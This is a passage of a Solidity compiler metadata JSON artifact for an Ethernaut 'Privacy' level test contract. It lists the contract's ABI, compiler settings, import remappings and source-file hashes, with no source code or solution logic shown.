StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Privacy.t.sol\":\"TestPrivacy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Privacy.sol\":{\"keccak256\":\"0x141eeed3421b598c1dd063bab07e77a5ea5b5f1b2f701683562344e3f34ee961\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://19fabfc206db8cfd3a00f9aa8e53cd68671e20229912567eccb727112e84fc05\",\"dweb:/ipfs/QmbHaXwFcGetZhf1QxJrh8VXqTonrWFn8VQDuwa58gLSZd\"]},\"src/levels/PrivacyFactory.sol\":{\"keccak256\":\"0xe37d331cca13d6104b572d8f708eef20fe028e030cabac2ba20f5f945fd6875c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://be57290b355c9dbbf8f6f97e2578fa1344fa255064518f58c5a2ec04501e48b0\",\"dweb:/ipfs/QmdxWD1KYjjGAXxKZPDMDtEFwgtXncQa7A2sx2u45CVroR\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Privacy.t.sol\":{\"keccak256\":\"0x54da648759c66c693f2821db730061755bb30662fcb79245fa17fba4f2d8110d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://966dfb67079cc3a59a926e42fc14904fde37ce449241acd4576213192b99d865\",\"dweb:/ipfs/QmXSDvT6c98FqDCwhS22FCum9syxSeK5YpGfwh2xZTySku\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Privacy.t.sol":"TestPrivacy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8